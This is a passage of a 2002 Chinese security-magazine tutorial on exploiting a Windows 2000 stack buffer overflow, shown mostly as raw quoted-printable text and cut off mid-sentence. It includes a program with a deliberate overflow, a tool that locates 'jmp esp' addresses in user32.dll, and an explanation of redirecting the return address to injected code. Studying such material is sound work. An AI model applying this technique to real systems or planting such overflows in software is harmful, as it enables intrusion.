|
| |
![](3D"http://www.nsfocus.net/images/mag_title.gif"=20) |
| =C2=CC=C3=CB=B0=B2=C8=AB=D4=C2=BF=AF->=B5=DA37=C6=DA->=BC=BC=CA=F5=D7=A8=CC=E2 |
=B5=DA=CB=C4=D5=C2 =B1=BE=B5=D8Exploit =
Window=20
=
2000=D6=D0=BB=BA=B3=E5=C7=F8=B5=C4=D2=E7=B3=F6
=D7=F7=D5=DF=A3=
=BA=C4=AA=B4=F3=20
=
<master_moda@yahoo.com>
=C8=D5=C6=DA=A3=BA2002-12-02
=D2=FD=
=D7=D3=A3=BA
=C7=B0=C3=E6=C8=FD=D5=C2=B5=C4Exploit=CA=C7=D5=EB=
=B6=D4Solaris=B2=D9=D7=F7=CF=B5=CD=B3=B5=C4=A3=AC=CF=C2=C3=E6=D5=E2=C8=FD=
=D5=C2=CE=D2=C3=C7=D2=AA=D1=D0=BE=BF=D2=BB=CF=C2=B6=D4Windows=B2=D9=D7=F7=
=CF=B5=CD=B3Exploit=B5=C4=B7=BD=B7=A8=A1=A3=CD=D0=B1=C8=B6=FB=B8=C7=B4=C4=
=B5=C4=BA=E9=B8=A3(=CB=B5=B5=BD=B4=CB=A3=AC=CE=D2=CB=AB=CA=D6=CE=D5=C8=AD=
=A3=AC=B3=AF=D7=C5=CB=FB=BE=D3=D7=A1=B5=C4=CE=F7=D1=C5=CD=BC=B7=BD=CF=F2=D2=
=BB=DE=E4)=A3=AC=CB=E4=C8=BBWindows=B2=D9=D7=F7=CF=B5=CD=B3(=CB=F9=D3=D0=B5=
=C4=B0=E6=B1=BE)=C8=AB=C9=ED=B6=BC=CA=C7BUG=A3=AC=B5=AB=CB=FC=C3=C7=BB=B9=
=CA=C7=B4=F8=D7=C5=C2=FA=C9=ED=B5=C4=B3=E6=D7=D3=D4=DA=CD=E7=C7=BF=B5=D8=D4=
=CB=D0=D0=A1=A3=D6=BB=CA=C7Microsoft=CC=AB=CA=F7=B4=F3=D5=D0=B7=E7=D2=D4=BC=
=B0=B0=C1=C2=FD=CE=DE=C0=F1=A3=AC=BD=E1=B9=FB=BE=CD=CF=F3=B5=F4=BD=F8=C1=CB=
=C3=AB=BF=D3=A1=A2=BC=A4=C6=F0=C1=CB=BA=DA=BF=CD=C3=C7=B5=C4=B9=AB=B7=DF=A3=
=AC=CB=F9=D2=D4=D5=EB=B6=D4Windows=B2=D9=D7=F7=CF=B5=CD=B3=B5=C4Exploit=B6=
=E0=C8=E7=C5=A3=C3=AB=A1=A3
=CE=D2=D5=E2=D2=BB=D5=C2=B5=C4Exploit=CA=
=C7=D5=EB=B6=D4Windows=D6=D0=BB=BA=B3=E5=C7=F8=B5=C4=D2=E7=B3=F6=A3=AC=B1=
=C8=BD=CF=BC=F2=B5=A5=A1=A3=D6=F7=D2=AA=CA=C7=CF=EB=BD=E9=C9=DC=BC=B8=B8=F6=
Exploit=20
=
Windows=B2=D9=D7=F7=CF=B5=CD=B3=B3=A3=BC=FB=B5=C4=B8=C5=C4=EE=A3=AC=CE=AA=
=CF=C2=C3=E6=D2=BB=D5=C2Exploit Microsoft IIS=B4=F2=BB=F9=B4=A1=A1=A3=20
=
=CE=D2=B6=D4Windows=CF=B5=CD=B3=CB=F9=D7=F7=B5=C4=BC=B8=B8=F6Expl=
oit=B6=BC=CA=C7=D4=DA=CE=D2=B5=C4=BB=FA=C6=F7Dallas=C9=CF=BD=F8=D0=D0=B5=C4=
=A3=ACDallas=B5=C4=B4=A6=C0=ED=C6=F7=CE=AAIntel=20
Celeron 366MHz=A3=AC196M=C4=DA=B4=E6=A3=AC=D4=CB=D0=D0MS =
Windows 2000 Server=20
=
=B0=E6=B1=BE5.0.2195=A3=AC=C3=BB=D3=D0=BC=D3=C8=CE=BA=CEPatch=A1=A3
WinTEL=BB=BA=B3=E5=C7=F8=D4=DA=B6=D1=D5=BB=D6=D0=B5=C4=C4=DA=B4=E6=B7=
=D6=C5=E4=C7=E9=BF=F6=A3=BA
=C7=EB=CF=C8=D3=C3Microsoft=20
Visual =
Studio=B2=FA=C9=FA=D2=BB=B8=F6=D6=A7=B3=D6MFC=B5=C4W32 Console=20
=
Application=A3=AC=D4=D9=BC=D3=C9=CF=D2=BB=D0=A9=BC=F2=B5=A5=B5=C4=D0=DE=B8=
=C4=BE=CD=B1=E4=B3=C9=CF=C2=C3=E6=D5=E2=B8=F6WinFileOF.cpp=A1=A3=B4=F3=BC=
=D2=BF=C9=D2=D4=BF=B4=B5=BD=A3=AC=D5=E2=B8=F6=B3=CC=D0=F2=D4=DA=B5=F7=D3=C3=
=D7=D3=BA=AF=CA=FDreadFile()=CA=B1=BB=BA=B3=E5=C7=F8buf=B7=A2=C9=FA=D2=E7=
=B3=F6=A1=A3=CE=D2=C3=C7=BD=AB=D2=AA=B6=D4=D5=E2=B8=F6=D2=E7=B3=F6=D7=F7=D2=
=BB=D0=A9=CE=C4=D5=C2=A1=A3
<=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DWinFileOF.cpp=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D>
//=20
WinFileOF.cpp : Defines the entry point for the console=20
application.
//
#include "stdafx.h"
#include=20
"WinFileOF.h"
#ifdef _DEBUG
#define new=20
DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] =3D =
__FILE__;
#endif
#define IOSIZE =
128
=20
=
/////////////////////////////////////////////////////////////////////=
////////
//=20
The one and only application object
CWinApp=20
theApp;
using namespace std;
CFile=20
cbinFile;
CFileException ex;
char binFile[] =3D=20
"binfile";
void readFile();
int _tmain(int =
argc,=20
TCHAR* argv[], TCHAR* =
envp[])
{
int=20
nRetCode =3D 0;
// initialize =
MFC and=20
print and error on failure
if=20
(!AfxWinInit(::GetModuleHandle(NULL), NULL, =
::GetCommandLine(),=20
=
0))
{
&=
nbsp; //=20
TODO: change error code to suit your=20
=
needs
cerr=20
<< _T("Fatal Error: MFC initialization failed") =
<<=20
=
endl;
nRetCode =3D=20
=
1;
}
else
=
{
=20
if (!cbinFile.Open(binFile, CFile::modeRead=20
| \ =20
=
&nb=
sp;CFile::shareDenyWrite,=20
&ex))
=20
=
{
TCHAR=20
=
szError[1024];
&=
nbsp;ex.GetErrorMessage(szError,=20
=
1024);
cou=
t=20
<< "Couldn't open source file:=20
=
";
cout=20
<<=20
=
szError;
n=
RetCode=20
=3D 1;
=20
}
=20
else
=20
=
{
&n=
bsp;readFile();
=
nRetCode=20
=3D=20
=
0;
&=
nbsp; =20
=
}
}
return=20
nRetCode;
}
void=20
readFile()
{
char=20
=
buf[IOSIZE];
cbinFile.Read(buf,=20
=
cbinFile.GetLength());
}
<=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
>
=D4=DA=B5=DA=D2=BB=D5=C2=B5=C4=B7=D6=CE=F6=D6=D0=CE=D2=C3=
=C7=CC=E1=B5=BD=A3=BA=D4=DAIntel=20
=
X86=C9=CF=D4=CB=D0=D0=B5=C4Solaris=CF=B5=CD=B3=D6=D0=A3=AC=BB=BA=B3=E5=C7=
=F8=D3=EB=B1=BB=B5=F7=D3=C3=BA=AF=CA=FD=B5=C4=B7=B5=BB=D8=B5=D8=D6=B7=A1=A2=
=B5=F7=D3=C3=BA=AF=CA=FD=B6=D1=D5=BB=D5=BB=B5=D7=D6=B8=D5=EB=D4=DA=C4=DA=B4=
=E6=D6=D0=CA=C7=B7=D6=C5=E4=D4=DA=D2=BB=C6=F0=B5=C4=A3=AC=CB=F9=D2=D4=CE=D2=
=C3=C7=BF=C9=D2=D4=CD=A8=B9=FD=B8=B2=B8=C7=B7=B5=BB=D8=B5=D8=D6=B7=B5=C4=B7=
=BD=B7=A8=C0=B4=C8=A1=B5=C3=B6=D4=BD=F8=B3=CC=B5=C4=BF=D8=D6=C6=A1=A3=CF=D6=
=D4=DA=CE=D2=C3=C7=B5=C4=C4=BF=B1=EA=CA=C7=CF=EB=D4=DAWindow=B2=D9=D7=F7=CF=
=B5=CD=B3=D6=D0Exploit=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=B5=C4=C2=A9=B6=B4=A3=
=AC=C4=C7=C3=B4=CA=D7=CF=C8=D0=E8=D2=AA=C1=CB=BD=E2=BB=BA=B3=E5=C7=F8buf=D4=
=DA=C4=DA=B4=E6=D6=D0=CA=C7=C8=E7=BA=CE=B7=D6=C5=E4=B5=C4=A3=AC=CB=FC=D3=EB=
=C6=E4=CB=FC=B5=C4=BA=AF=CA=FD=B5=F7=D3=C3=D0=C5=CF=A2(=C8=E7=B7=B5=BB=D8=
=B5=D8=D6=B7=A3=AC=B5=F7=D3=C3=BA=AF=CA=FD=B6=D1=D5=BB=D5=BB=B5=D7=D6=B8=D5=
=EB)=CA=C7=B7=F1=CF=E0=C1=DA=B5=C8=B5=C8=A1=A3
=CE=D2=C3=C7=D4=DA=BA=
=AF=CA=FDreadFile()=D6=D0=C9=E8=D6=C3=B6=CF=B5=E3=D3=DA=A3=BA
=A1=B0=
cbinFile.Read(buf,=20
=
cbinFile.GetLength());=A1=B1
=C8=BB=BA=F3=D4=DAMicrosoft Visual =
Studio=20
=
IDE=B5=C4Debug=C4=A3=CA=BD=CF=C2=D4=CB=D0=D0=B3=CC=D0=F2WinFileOF=A3=AC=B3=
=CC=D0=F2=BD=F8=C8=EBreadFile()=BA=F3=D4=DA=B6=CF=B5=E3=B4=A6=CD=A3=CF=C2=
=A1=A3=CE=D2=B0=D1IDE=D5=E2=CA=B1=B5=C4=CD=BC=CF=F1=BF=BD=B1=B4=CF=C2=C0=B4=
=B9=A9=B4=F3=BC=D2=B2=CE=BF=BC=A1=A3=C4=E3=C3=C7=BF=C9=D2=D4=BF=B4=B5=BD=A3=
=AC=BB=BA=B3=E5=C7=F8buf=D2=D4=BC=B0=BA=AF=CA=FD=B5=F7=D3=C3=D0=C5=CF=A2=B5=
=C4=C4=DA=B4=E6=B7=D6=C5=E4=C7=E9=BF=F6=D3=EBSolaris/Intel=B5=C4=C7=E9=BF=
=F6=CA=C7=D2=BB=D1=F9=B5=C4=A3=AC=BC=B4=BB=BA=B3=E5=C7=F8=D3=EB=B5=F7=D3=C3=
=BA=AF=CA=FD=D5=BB=B5=D7=D6=B8=D5=EBEBP(=D6=B8=CF=F2=B5=D8=D6=B70x0012FB1=
8)=A1=A2=B7=B5=BB=D8=B5=D8=D6=B7RetAddr(0x004016E2)=CF=E0=C1=DA=A1=A3
=
=D5=E2=CF=C2=CE=D2=C3=C7=D0=C4=C0=EF=BE=CD=D3=D0=B5=D7=
=C1=CB=A3=BA=BF=C9=D2=D4=D4=DA=CA=E4=C8=EB=CE=C4=BC=FEbinfile=D6=D0=B7=C5=
=D2=BB=B8=F6=D7=E3=B9=BB=B3=A4=B5=C4=D7=D6=B7=FB=B4=AE=A3=AC=B5=B1=B3=CC=D0=
=F2=B6=C1=C8=EB=D5=E2=B8=F6=D7=D6=B7=FB=B4=AE=CA=B1=A3=AC=CB=FC=BB=E1=D2=E7=
=B3=F6=BB=BA=B3=E5=C7=F8buf=B5=C4=B1=DF=BD=E7=B6=F8=B8=B2=B8=C7EBP=BC=B0R=
etAddr=A3=AC=CE=D2=C3=C7=D6=BB=D2=AA=C8=C3=B8=B2=B8=C7=BA=F3=B5=C4RetAddr=
=D6=B8=CF=F2=BA=DA=BF=CD=C2=EB=BE=CD=BF=C9=D2=D4=C1=CB=A1=A3=B2=BB=B9=FD=CB=
=E4=CB=B5=CC=F5=CC=F5=B4=F3=C2=B7=CD=A8=C2=DE=C2=ED(=C2=DE=C2=ED=BE=CD=CA=
=C7=CE=D2=C3=C7=B5=C4=BA=DA=BF=CD=C2=EB)=A3=AC=B5=AB=C3=BF=CC=F5=B4=F3=C2=
=B7=B6=BC=CA=C7=B2=BB=D2=BB=D1=F9=B5=C4=A3=AC=D5=E2=D2=BB=B4=CE=D3=C3=C0=B4=
=B8=B2=B8=C7RetAddr=B5=C4=B5=D8=D6=B7=BE=CD=D3=EB=B5=DA=D2=BB=D5=C2=CB=F9=
=D3=C3=B5=BD=B5=C4=B2=BB=D2=BB=D1=F9=A3=A1=CE=D2=C3=C7=CF=C2=C3=E6=D2=BB=BD=
=DA=BD=E9=C9=DC=B5=BD=B5=D7=D4=F5=C3=B4=D1=F9=B8=F6=B2=BB=D2=BB=D1=F9=B7=A8=
=A1=A3
=CB=B3=B1=E3=CC=E1=D2=BB=CF=C2=A3=AC=BB=BA=B3=E5=C7=F8buf=D4=
=DA=B6=C1=C8=EB=CE=C4=BC=FE=D6=AE=C7=B0=CC=EE=C2=FA=C1=CB0XCCCCCCCC=A3=AC=
=D5=E2=CA=C7Window=B2=D9=D7=F7=CF=B5=CD=B3=B8=B3=D3=E8=B7=C7=B3=F5=CA=BC=BB=
=AF=B1=E4=C1=BF=B5=C4=C8=B1=CA=A1=D6=B5=A1=A3
=C8=E7=B9=FB=C9=CF=C3=
=E6=BF=BD=B1=B4=B5=C4=CD=BC=CF=F1=CC=AB=C4=A3=BA=FD=A3=AC=CE=D2=B0=D1=BB=BA=
=B3=E5=C7=F8buf=D4=DA=B6=D1=D5=BB=C7=F8=B7=D6=C5=E4=B5=C4=C7=E9=BF=F6=D4=D9=
=D6=D8=B5=E3=CD=BB=B3=F6=D2=BB=CF=C2=A3=BA
=
; =20
128 Bytes 4=20
=
Bytes 4=20
=
Bytes
0012FA98<-------->0012FB18<------->0012FB1C<-----=
->0012FB20
=20
=
buf EBP=A3=BA0012FF70 =
; =20
=
RetAddr=A3=BA004016E2
=B2=BB=D2=BB=D1=F9=B5=C4=C2=DE=
=C2=ED=B4=F3=B5=C0=A3=BA
=B4=F3=BC=D2=D2=BB=B6=A8=BB=B9=BC=C7=B5=
=C3=D4=DA=B5=DA=D2=BB=D5=C2=B6=D4Solaris/IntelX86=B5=C4Exploit=D6=D0=A3=AC=
=B1=BB=B8=B2=B8=C7=BA=F3=B5=C4=B7=B5=BB=D8=B5=D8=D6=B7RetAddr=D6=B8=CF=F2=
=D3=C90X90909090=D7=E9=B3=C9=B5=C4=B0=B2=C8=AB=CD=F8=A3=AC=C8=BB=BA=F3=D4=
=D9=BB=AC=BD=F8=BA=DA=BF=CD=C2=EB=D6=D0=A3=AC=D5=E2=BE=CD=CA=C7=CE=D2=C3=C7=
=B5=C4=D2=BB=BA=C5=C2=DE=C2=ED=B4=F3=B5=C0=A1=A3=B2=BB=B9=FD=CE=D2=BF=B4=C1=
=CB=B2=BB=C9=D9=D4=DAWinTel=C7=E9=BF=F6=CF=C2Exploit=B5=C4=C0=FD=D7=D3=A3=
=AC=B1=BB=B8=B2=B8=C7=BA=F3=B5=C4RetAddr=D6=B8=CF=F2=C1=CB=C1=ED=D2=BB=CC=
=F5=B5=C0=C2=B7----=B6=FE=BA=C5=C2=DE=C2=ED=B4=F3=B5=C0=A1=A3
=CE=D2=
=C3=C7=C0=B4=BF=B4=BF=B4=D5=E2=B6=FE=BA=C5=C2=DE=C2=ED=B4=F3=B5=C0=CA=C7=D4=
=F5=C3=B4=B8=F6=D7=DF=B7=A8=A3=A1=CF=C8=D3=C3=C4=E3=C3=C7=D7=EE=C4=C3=CA=D6=
=B5=C4HEX=20
=
EDITOR=D6=C6=D7=F7=CA=E4=C8=EB=CE=C4=BC=FEbinfile=A3=AC=CD=F9=C0=EF=C3=E6=
=B3=E4=CC=EE=D7=E3=B9=BB=B6=E0=B5=C40X90909090=A1=A3=CE=D2=D3=C3=B5=C4EDI=
TOR=CA=C7UltraEditor=A3=AC=CA=D4=D3=C3=B0=E6=B1=BE=A3=AC45=CC=EC=D3=D0=D0=
=A7=A1=A3=D7=F7=BA=C3binFile=D2=D4=BA=F3=A3=AC=D4=DAMicrosoft=20
Visual Studio=20
=
IDE=B5=C4Debug=C4=A3=CA=BD=CF=C2=D4=CB=D0=D0=B3=CC=D0=F2WinFileOF=A1=A3=B5=
=B1=BA=AF=CA=FDreadFile=B6=C1=C8=EB=CE=C4=BC=FE=BA=F3=BB=BA=B3=E5=C7=F8=D2=
=E7=B3=F6=A3=AC=BD=E1=B9=FB=D4=DA=CB=FC=C6=F3=CD=BC=B7=B5=BB=D8=CA=B1=A3=AC=
=B7=A2=C9=FA=B7=C3=CE=CA=B4=ED=CE=F3(Access=20
=
Violation)=A1=A3=CE=D2=C3=C7=BF=B4=BF=B4=B3=F6=B4=ED=C7=B0=C9=B2=C4=C7=BC=
=E4=B3=CC=D0=F2=B5=C4Status=A3=BA
=BE=CD=D4=DA=C4=C7=D2=BB=C9=B2=C4=C7=BC=E4=A3=AC=D3=C9=
=D3=DA=B5=F7=D3=C3=BA=AF=CA=FD_tmain()=B5=C4=D5=BB=B5=D7=D6=B8=D5=EBEBP=A1=
=A2=B7=B5=BB=D8=B5=D8=D6=B7RetAddr=BE=F9=CE=AA0x90909090=B8=B2=B8=C7=A3=AC=
=CB=F9=D2=D4=B7=B5=BB=D8=CA=B1=CF=B5=CD=B3=D7=D4=B6=AF=BD=AB0x90909090=B8=
=B3=D3=E8=D5=BB=B5=D7=D6=B8=D5=EBEBP=BC=B0=B3=CC=D0=F2=D6=B4=D0=D0=D6=B8=D5=
=EBEIP=A1=A3=B5=AB=D2=F2=CE=AA=B5=D8=D6=B70x90909090=B2=A2=C3=BB=D3=D0=C8=
=CE=BA=CE=D6=B8=C1=EE=A3=AC=D2=B2=C3=BB=D3=D0=B1=BB=C8=CE=BA=CE=B6=AF=CC=AC=
=C1=AA=BD=E1=CE=C4=BC=FE=BF=E2(DLL)=CA=B9=D3=C3=B5=BD=A3=AC=CB=F9=D2=D4=B5=
=B1=B3=CC=D0=F2=D6=B4=D0=D0=D5=E2=B8=F6=B5=D8=D6=B7=B5=C4=D6=B8=C1=EE=CA=B1=
=B5=BC=D6=C2=C1=CB=B7=C3=CE=CA=B4=ED=CE=F3----=D5=E2=D0=A9=C0=ED=C2=DB=B6=
=BC=CA=C7=C0=CF=D2=BB=CC=D7=C1=CB=A3=AC=B4=F3=BC=D2=B6=BC=D6=AA=B5=C0=A1=A3=
=B2=BB=B9=FD=CF=D6=D4=DA=C7=EB=B4=F3=BC=D2=C1=F4=D0=C4=D2=BB=CF=C2=
=BC=C4=B4=E6=C6=F7ESP=B5=C4=C7=E9=BF=F6=A3=AC=CB=FC=D6=B8=CF=F2=B5=D8=D6=B7=
0X0012FB20=A3=AC=D5=E2=B8=F6=B5=D8=D6=B7=BD=F4=BD=D3=D7=C5=B1=BB=B8=B2=B8=
=C7=BA=F3=B5=C4=B7=B5=BB=D8=B5=D8=D6=B7RetAddr(=BC=FB=CF=C2=CD=BC)=A1=A3<=
BR>
=20
128=20
=
Bytes
0012FA98<-------->0012FB18<------------>0012FB1C<=
---------->0012FB20<=3DESP=20
buf=A3=BA0X90909090... =20
=
EBP=A3=BA0X90909090 RetAddr=A3=BA0X90909090 &=
nbsp; =20
=
=BC=D9=C8=E7=D5=E2=CA=B1CPU=D6=B4=D0=D0=D6=B8=C1=EE=A1=B0jmp=20
=
esp=A1=B1=A3=AC=B3=CC=D0=F2=BE=CD=BB=E1=CC=F8=B5=BD=BC=C4=B4=E6=C6=F7ESP=CB=
=F9=D6=B8=B5=C4=B5=D8=D6=B70X0012FB20=A3=AC=D4=CB=D0=D0=B4=D30X0012FB20=BF=
=AA=CA=BC=B5=C4=D6=B8=C1=EE=A3=BB=D4=D9=BC=D9=C8=E7=D5=E2=B8=F6=B5=D8=D6=B7=
0X0012FB20=BA=F3=C3=E6=CA=C7=CE=D2=C3=C7=B5=C4=BA=DA=BF=CD=C2=EB=A3=AC=C4=
=C7=C3=B4=BA=DA=BF=CD=C2=EB=BE=CD=CB=B3=CB=AE=CD=C6=D6=DB=B5=D8=B1=BB=D6=B4=
=D0=D0=A3=AC=EC=B6=CA=C7=CE=D2=C3=C7=BE=CD=C8=A1=B5=C3=C1=CB=B6=D4=BD=F8=B3=
=CC=B5=C4=BF=D8=D6=C6=A1=A3=B8=F9=BE=DD=D5=E2=B8=F6=CF=EB=B7=A8=CE=D2=C3=C7=
=BF=C9=D2=D4=C9=E8=BC=C6=CF=C2=C3=E6=D5=E2=D1=F9=B5=C4=B3=A4=D7=D6=B7=FB=B4=
=AE=C0=B4=D2=E7=B3=F6=BB=BA=B3=E5=C7=F8buf=A3=BA
=
; =20
128=20
=
Bytes
0012FA98<-------->0012FB18<----->0012FB1C<-------=
->0012FB20<-------->
buf=A3=BA.......=
...Some=20
Crap............ Faked RetAddr Hacker=20
=
Code
=C6=E4=D6=D0Faked =
RetAddr=D6=B8=CF=F2=D6=B8=C1=EE=A1=B0jmp=20
=
esp=A1=B1=A1=A3=D5=E2=D1=F9=D4=DA=BA=AF=CA=FDreadFile()=B7=B5=BB=D8=CA=B1=
=A3=AC=B3=CC=D0=F2=CF=C8=B7=B5=BB=D8=B5=BD=D5=E2=B8=F6Faked =
RetAddr=A3=AC=C8=BB=BA=F3=D6=B8=C1=EE=A1=B0jmp=20
=
esp=A1=B1=B1=BB=D6=B4=D0=D0=A3=AC=B3=CC=D0=F2=BE=CD=CC=F8=B5=BDESP=D6=B8=CF=
=F2=B5=C4=B5=D8=D6=B70X0012FB20=A3=AC=BF=AA=CA=BC=D6=B4=D0=D0=CE=D2=C3=C7=
=B5=C4=BA=DA=BF=CD=C2=EB=A1=A3=D5=E2=B8=F6=A1=B0jmp=20
=
esp=A1=B1=A3=AC=BE=CD=CA=C7=B4=F3=C3=FB=B6=A6=B6=A6=B5=C4=B6=FE=BA=C5=C2=DE=
=C2=ED=B4=F3=B5=C0=A3=AC=D2=B2=B2=BB=D6=AA=B5=C0=CA=C7=CB=AD=B5=DA=D2=BB=B8=
=F6=CF=EB=B3=F6=C0=B4=B5=C4=A3=AC=D5=E6=D3=A6=B8=C3=BB=F1=B5=C3=C5=B5=B1=B4=
=B6=FB=BA=DA=BF=CD=BD=B1=A1=A3
=C4=C7=C3=B4=D4=F5=D1=F9=D5=D2=B5=BD=
=D5=E2=B8=F6Faked=20
RetAddr(=BE=CD=CA=C7=A1=B0jmp =
esp=A1=B1=B5=C4=B5=D8=D6=B7)=C4=D8=A3=BF=A1=B0jmp =
esp=A1=B1=CA=C7=BA=CF=B7=A8=B5=C4Intel =
X86=BB=FA=C6=F7=D6=B8=C1=EE=A3=AC=CB=FC=B5=C4HEX=D0=CE=CA=BD=CA=C7=A1=B0F=
F=20
=
E4=A1=B1=A3=AC=CE=D2=D3=C3=CF=C2=C3=E6=B5=C4=B3=CC=D0=F2SearchDll=C0=B4=CB=
=D1=CB=F7WinFileOF=B5=C4=D0=E9=C4=E2=C4=DA=B4=E6=D6=D0=B5=C4=B8=F7=B8=F6D=
LL=A3=AC=BF=B4=C4=C4=D2=BB=B8=F6=B8=D5=BA=C3=BA=AC=D3=D0=A1=B0FF=20
=
E4=A1=B1=A1=A3
<=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DSearchDll.cpp=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D>=
//=20
SearchDLL.cpp : Defines the entry point for the console=20
application.
//
#include "stdafx.h"
#include=20
"SearchDLL.h"
#ifdef _DEBUG
#define new=20
DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] =3D =
=
__FILE__;
#endif
//////////////////////////////////////////////=
///////////////////////////////
//=20
The one and only application object
CWinApp=20
theApp;
using namespace std;
int _tmain(int =
argc,=20
TCHAR* argv[], TCHAR* =
envp[])
{
int=20
nRetCode =3D 0;
HINSTANCE=20
=
h; =
;
BYTE*=20
ptr;
bool =
endOfdll =3D false;
int=20
pos;
TCHAR dllname=20
[25];
int=20
opcode[2];
// initialize =
MFC and=20
print and error on failure
if=20
(!AfxWinInit(::GetModuleHandle(NULL), NULL, =
::GetCommandLine(),=20
=
0))
{
&=
nbsp; //=20
TODO: change error code to suit your=20
=
needs
cerr=20
<< _T("Fatal Error: MFC initialization failed") =
<<=20
=
endl;
nRetCode =3D=20
=
1;
}
else
=
{
&nbs=
p;cout=20
<< "Please Enter the Name of DLL " <<=20
endl;
cin =
>>=20
=
dllname;
while=20
=
(1)
{
&=
nbsp; cout=20
<< "Please Enter the 2 byte Opcode in Hex Format "=20
=
\
&n=
bsp; <<=20
=
endl;
&nbs=
p; cin=20
>>=20
=
hex;
=
; cin=20
>> opcode[0] >> opcode[1]=20
=
;
&n=
bsp;if=20
( (0 <=3D opcode[0]) && (opcode[0] <=3D 255) =
&&=20
=
\
&n=
bsp; (0=20
<=3D opcode[1]) && (opcode[1] <=3D 255) )=20
=
break;
}
=
&nb=
sp; h=20
=3D=20
=
LoadLibrary(dllname);
=
if(h=20
=3D=3D=20
=
NULL)
{
=
; cout<<=
"Fail=20
to load : "<< dllname=20
=
<<endl;
&n=
bsp; =20
nRetCode =3D=20
=
1;
&=
nbsp;} &=
nbsp;
&n=
bsp; ptr=20
=3D (BYTE *)=20
=
h;
for(int i=20
=3D=20
=
0;!endOfdll;i++)
{
=
t=
ry
&=
nbsp;{
&nb=
sp; if(ptr[i]=3D=3D=20
(BYTE)opcode[0] && (BYTE)ptr[i+1] =3D=3D=20
=
opcode[1])
=
; {
&=
nbsp; pos=20
=3D (int)ptr +=20
=
i;
&=
nbsp; cout<<"The=20
ASM Code found at 0x"<< hex << pos=20
=
<<endl;
&n=
bsp; }
&nbs=
p; }
=
catch(...)
=
; {
&=
nbsp; &n=
bsp; endOfdll=20
=3D=20
=
true;
&nbs=
p; }
=
nRetCode=20
=3D=20
=
0; =
;
}
=
; =
}
=
return=20
=
nRetCode;
}
<=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D>
=CF=C8=CB=D1=CB=F7kernel32.dll=A3=AC=D5=E2=
=B8=F6DLL=B2=A2=B2=BB=CA=C7Windows=B2=D9=D7=F7=CF=B5=CD=B3=B5=C4Kernel=A3=
=AC=B5=AB=CB=FC=CA=C7Win32=D4=CB=D0=D0=BB=B7=BE=B3=D6=D0=B5=C4=D1=F5=C6=F8=
=A3=AC=C0=EB=BF=AA=CB=FC=D3=C3=BB=A7=B3=CC=D0=F2=BE=CD=CD=E6=B2=BB=D7=AA=C1=
=CB=A1=A3
D:\MyJob\securitylab\SearchDLL\Debug>searchdll
Ple=
ase=20
Enter the Name of DLL
kernel32
Please Enter the 2 byte =
Opcode=20
in Hex Format
ff=20
=
e4
D:\MyJob\securitylab_5cSearchDLL\Debug>
=D4=CB=D0=D0=B5=
=C4=BD=E1=B9=FB=C8=C3=C8=CB=CA=A7=CD=FB=A3=AC=CE=D2=C3=C7=B5=C4=D1=F5=C6=F8=
=D6=D0=B2=A2=C3=BB=D3=D0=A1=B0FF=20
=
E4=A1=B1=D4=AA=CB=D8=A1=A3=D4=D9=CB=D1=CB=F7user32.dll----=CB=F9=D3=D0=D6=
=A7=B3=D6MFC=B5=C4=B3=CC=D0=F2=A3=AC=B0=FC=C0=A8=CE=D2=C3=C7=B5=C4WinFile=
OF=A3=AC=B6=BC=BB=E1=D3=C3=B5=BD=D5=E2=B8=F6DLL=A1=A3
D:_5cMyjob\s=
ecuritylab\SearchDLL\Debug>SearchDll
Please=20
Enter the Name of DLL
user32
Please Enter the 2 byte =
Opcode in=20
Hex Format
ff e4
The ASM Code found at =
0x77e33f4d
The ASM=20
Code found at 0x77e33f69
The ASM Code found at =
0x77e33f6d
The=20
ASM Code found at=20
=
0x77e3c289
D:\Myjob\securitylab\SearchDLL\Debug>
user32.=
dll=B2=BB=C8=E8=CA=B9=C3=FC=A3=AC=CB=FC=D4=DA=CB=C4=B8=F6=B5=D8=B7=BD=D3=D0=
=A1=B0FF=20
=
E4=A1=B1=A3=AC=CE=D2=C3=C7=C8=CE=D2=E2=C8=A1=D2=BB=B8=F6=B5=D8=D6=B70x77e=
33f4d=D7=F7=CE=AAFaked=20
=
RetAddr=C8=A5=B8=B2=B8=C7=BA=AF=CA=FDreadFile()=B5=C4=B7=B5=BB=D8=B5=D8=D6=
=B7=A1=A3
=CB=B3=B1=E3=CC=E1=D2=BB=CF=C2=A3=AC=CE=D2=D4=DA=B8=D5=BF=
=AA=CA=BC=D7=F7=D5=E2=B8=F6Exploit=C0=FD=D7=D3=CA=B1=A3=AC=D2=D4=CE=AA=D4=
=DAkernel32.dll=BF=C9=D2=D4=D5=D2=B5=BD=A1=B0FF=20
=
E4=A1=B1=A3=AC=CB=F9=D2=D4=B2=A2=C3=BB=D3=D0=C8=C3WinFileOF=D6=A7=B3=D6MF=
C=A3=AC=BD=E1=B9=FB=D5=D2=C0=B4=D5=D2=C8=A5=D2=B2=D5=D2=B2=BB=B5=BD=A1=B0=
FF=20
=
